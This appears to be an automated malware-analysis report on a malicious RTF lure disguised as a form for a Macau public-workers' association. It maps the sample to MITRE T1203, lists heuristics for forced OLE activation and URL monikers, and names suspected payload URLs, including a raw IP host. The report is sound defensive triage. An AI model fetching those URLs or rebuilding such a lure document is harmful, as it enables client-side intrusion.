MITRE ATT&CK
T1203 Exploitation for Client Execution

The RTF file contains OLE object data with URL moniker references, indicating an attempt to exploit OLE activation to download external content. The heuristic 'EXTRACTED_FILE_STATIC_TRIAGE' specifically flags shellcode URL and command strings within an extracted artifact (objdata_00_off000377dd.bin), strongly suggesting the execution of a secondary payload. The presence of suspicious URLs like http://www.atfpm.org.mo and http://150.107.3.227/0_df.log further supports this. The document body appears to be a form for the 'Associação dos Trabalhadores da Função Pública de Macau', likely a lure to disguise the malicious intent.

Heuristics 6

  • URL Moniker in RTF OLE object high CVE related RTF_URL_MONIKER_RELATED
    RTF contains a URL Moniker GUID in OLE object context, but no decoded remote target was confirmed. Treat as related OLE2Link attack-surface evidence rather than proof of CVE-2017-0199 exploitation.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
